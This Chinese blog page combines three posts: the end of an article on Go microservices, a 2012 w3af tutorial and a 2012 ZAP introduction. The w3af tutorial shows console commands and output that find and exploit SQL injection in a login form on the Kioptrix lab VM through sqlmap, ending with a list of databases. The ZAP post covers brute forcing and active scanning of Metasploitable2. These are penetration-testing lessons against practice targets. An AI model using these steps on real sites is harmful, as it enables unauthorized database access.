无论是使用 Go、Java、JavaScript、Python、C# 或任何您喜欢的编程语言来编写微服务系统，以上这些都是我认为在决定使用微服务架构就必须考虑的事情。

在本博客系列中，我将会从 Go 语言的角度来介绍以上所有主题。

而从另一个角度来看，实际的微服务实现应该都或多或少使用了提供以下功能的库：

HTTP/RPC/REST/SOAP/其它 API 方式
持久化 API（数据库客户端、JDBC、对象关系映射）
消息队列 API（MQTT、AMOP、JMS）
可测试性（单元、集成、系统、验收）
构建工具/CI/CD
等等

在本博客系列中，只会涉及以上部分主题而不是所有。

在 Docker Swarm 上运行

本博客系列使用 Docker Swarm 作为运行时环境，这意味着无论是配置服务、边缘计算服务，还是实际的微服务实现都将被部署为 Docker Swarm 服务。

在整个微服务系统编写完后，运行以下 Docker 命令：

docker service ls

将会看到下面的所有服务：

性能

如果说基于 Go 语言的微服务有着少量的内存占用，那么可以量化吗？对不同的编程语言进行有意义的基准测试可能非常困难。

有时候，人们使用一些类似 Benchmarkgame 的网站，在上面提交各种语言的常用算法的实现，然后用它们来比较，这种情况下 Go 语言一般比 Java 8 要快一点，但有少许例外。

并且 Go 语言一般和 C++ 不相上下，在一些测试中又慢得多。

结论是，Go 语言一般情况下对于典型的微服务场景性能良好，如：提供 HTTP 或 RPC 服务、序列化/反序列化数据结构和处理网络 IO 等。

Go 语言的另一个相当重要的特点是：它是一门垃圾收集式语言。自从 Go 1.5 对垃圾收集器进行重写后，GC 暂停通常最多为几毫秒。

如果您以前用的是 JVM，那么您可能会觉得 Go 语言的垃圾收集器还不够成熟，但在 Go 1.2 上下的某个地方更改后，它看起来可靠了许多。

而且在 Go 语言中，您可以通过一个选项（GOGC）来调整堆的总大小（相对于可达对象的大小）来控制 GC 的行为。

在构建第一个微服务并随后相其添加断路器、链路跟踪和日志等组件的过程中，一步步进行性能分析可能会非常有趣，所以我们会使用 Gatling 时刻查看性能。

启动时间

典型的 Go 语言程序另一个不错的特点是：启动速度非常快。一个提供路由和 JSON 序列化功能的简单 HTTP 服务器通常最多在几百毫秒内启动。

当我们在 Docker 容器中启动 Go 微服务时，它们最多在几秒钟内就可以启动完毕，而基于 Spring Boot 的微服务通常需要至少 10 秒钟才能准备就绪。

虽然这不是最重要的特性，但是当您的环境需要通过快速扩展来应对意外的流量激增时，这个特性是非常有用的。

静态链接的二进制文件

另外一个好处是，基于 Go 语言的微服务在 Docker 容器中可以使用静态链接的二进制文件。

尽管该文件不是非常小（实际的微服务通常有 10-20 MB），但最大的好处是我们的 Dockerfile 文件非常简单，而且我们可以用一些非常基础的 Docker 镜像。

比如说我常用的 iron/base，只有 6 MB 左右。

FROM iron/base

EXPOSE 6868
ADD eventservice-linux-amd64 /
ENTRYPOINT ["./eventservice-linux-amd64", "-profile=test"]

也就是说，除了基本镜像中包含的标准 C 库（libc）外，不需要 JVM 等其它运行时环境。

我们将在以后的博客文章中详细介绍如何构建静态链接的二进制文件和 -profile=test 参数。

总结

在此博客文章中，我们介绍了使用 Go 语言构建微服务的一些关键原因，如：较小的内存占用、良好的性能和静态链接的二进制文件的方便使用。

在接下来的部分，我们将构建我们的第一个基于 Go 语言的微服务。

w3af 简单使用教程

Sat, 25 Aug 2012 13:36:30 GMT

本文为 2012 年在 FreeBuf 发表的文章，原地址为：w3af 简单使用教程。以下内容均无修改。

w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.

0×00 概述

在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.

0×01 简介

0×02 安装

root@bt:~# apt-get install w3af

0×03 启动

root@bt:~# cd /pentest/web/w3af/
root@bt:/pentest/web/w3af# ./w3af_console

0×04 漏洞扫描配置

w3af>>> plugins
//进入插件模块
w3af/plugins>>> list discovery 
//列出所有用于发现的插件
w3af/plugins>>> discovery findBackdoor phpinfo webSpider 
//启用findBackdoor phpinfo webSpider这三个插件
w3af/plugins>>> list audit 
//列出所有用于漏洞的插件
w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss 
//启用blindSqli fileUpload osCommanding sqli xss这五个插件
w3af/plugins>>> back
//返回主模块
w3af>>> target
//进入配置目标的模块
w3af/config:target>>> set target http://192.168.244.132/
//把目标设置为http://192.168.244.132/
w3af/config:target>>> back
//返回主模块

0×05 漏洞扫描

w3af>>> start

---
New URL found by phpinfo plugin: http://192.168.244.132/
New URL found by phpinfo plugin: http://192.168.244.132/checklogin.php
New URL found by phpinfo plugin: http://192.168.244.132/index.php
New URL found by webSpider plugin: http://192.168.244.132/
New URL found by webSpider plugin: http://192.168.244.132/checklogin.php
New URL found by webSpider plugin: http://192.168.244.132/index.php
Found 3 URLs and 8 different points of injection.
The list of URLs is:
- http://192.168.244.132/index.php
- http://192.168.244.132/checklogin.php
- http://192.168.244.132/
The list of fuzzable requests is:
- http://192.168.244.132/ | Method: GET
- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")
- http://192.168.244.132/checklogin.php | Method: GET
- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")
- http://192.168.244.132/index.php | Method: GET
- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")
Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.
SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.
Scan finished in 19 seconds.
---
//开始扫描

0×06 漏洞利用配置

w3af>>> exploit 
//进入漏洞利用模块
w3af/exploit>>> list exploit
//列出所有用于漏洞利用的插件
w3af/exploit>>> exploit sqlmap 
//使用sqlmap进行SQL注入漏洞的测试

---
Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...
Vulnerability successfully exploited. This is a list of available shells and proxies:
- [0] <sql object ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>
Please use the interact command to interact with the shell objects.
---
//测试存在SQL注入漏洞
//这里要记住shell objects(这里是0),等一下要用到
0x07 漏洞利用
w3af/exploit>>> interact 0
//interact + shell object就可以利用了

---
Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shell
w3af/exploit/sqlmap-0>>> 
---
//sqlmap的一个交互式模块

w3af/exploit/sqlmap-0>>> dbs   

---
Available databases:  [3]:
[*] information_schema
[*] members
[*] mysql
---
//成功获得数据库信息

ZAP 介绍

Mon, 20 Aug 2012 13:36:30 GMT

本文为 2012 年在 FreeBuf 发表的文章，原地址为：ZAP 介绍。以下内容除了将图片转换为 WebP 外均无修改。

感谢Line投递，转载请注明出处！

Zed Attack Proxy简写为ZAP，是一个简单易用的渗透测试工具，是发现Web应用中的漏洞的利器，更是渗透测试爱好者的好东西。

ZAP下载地址：https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP中国：http://www.owasp.org.cn/

BackTrack5R3中集成了ZAP，下面我来演示了一下ZAP的简单实用。

打开方式：

1、

cd /pentest/web/owasp-zap
./zap.sh

2、

Applications|BackTrack|Vulnerability Assessment|Web Application Assessment|Web Vulnerability Scanners|owasp-zap

使用方法：

1.设置

ZAP像Burp suite一样使用代理的方式来截取网站。

在Tools|Local proxy中设置相关选项。

默认已经设置好了，如果端口冲突就自己改。

在Firefox中设置代理。

Edit|Preferences|Advanced|Network|Setting

选择Manual proxy configuration单选项。

浏览目标机器，这里使用Metasploitable2来示例。

用Firefox访问后，在ZAP中出现了Sites。

2.Spider site

右键选择Attack|Spider site

扫描要很久，因为是示例所以就先停了。

3.Brute Force

在Site选择目标，在List中选择字典。有big medium small等类型的字典。

4.Port Scanner

虽然扫描速度很快，但是不够Nmap准确。

5.Active Scan

主动扫描是ZAP最强大的功能之一。

6.Alerts

扫描出来的漏洞就在这里了。

7.插件

待续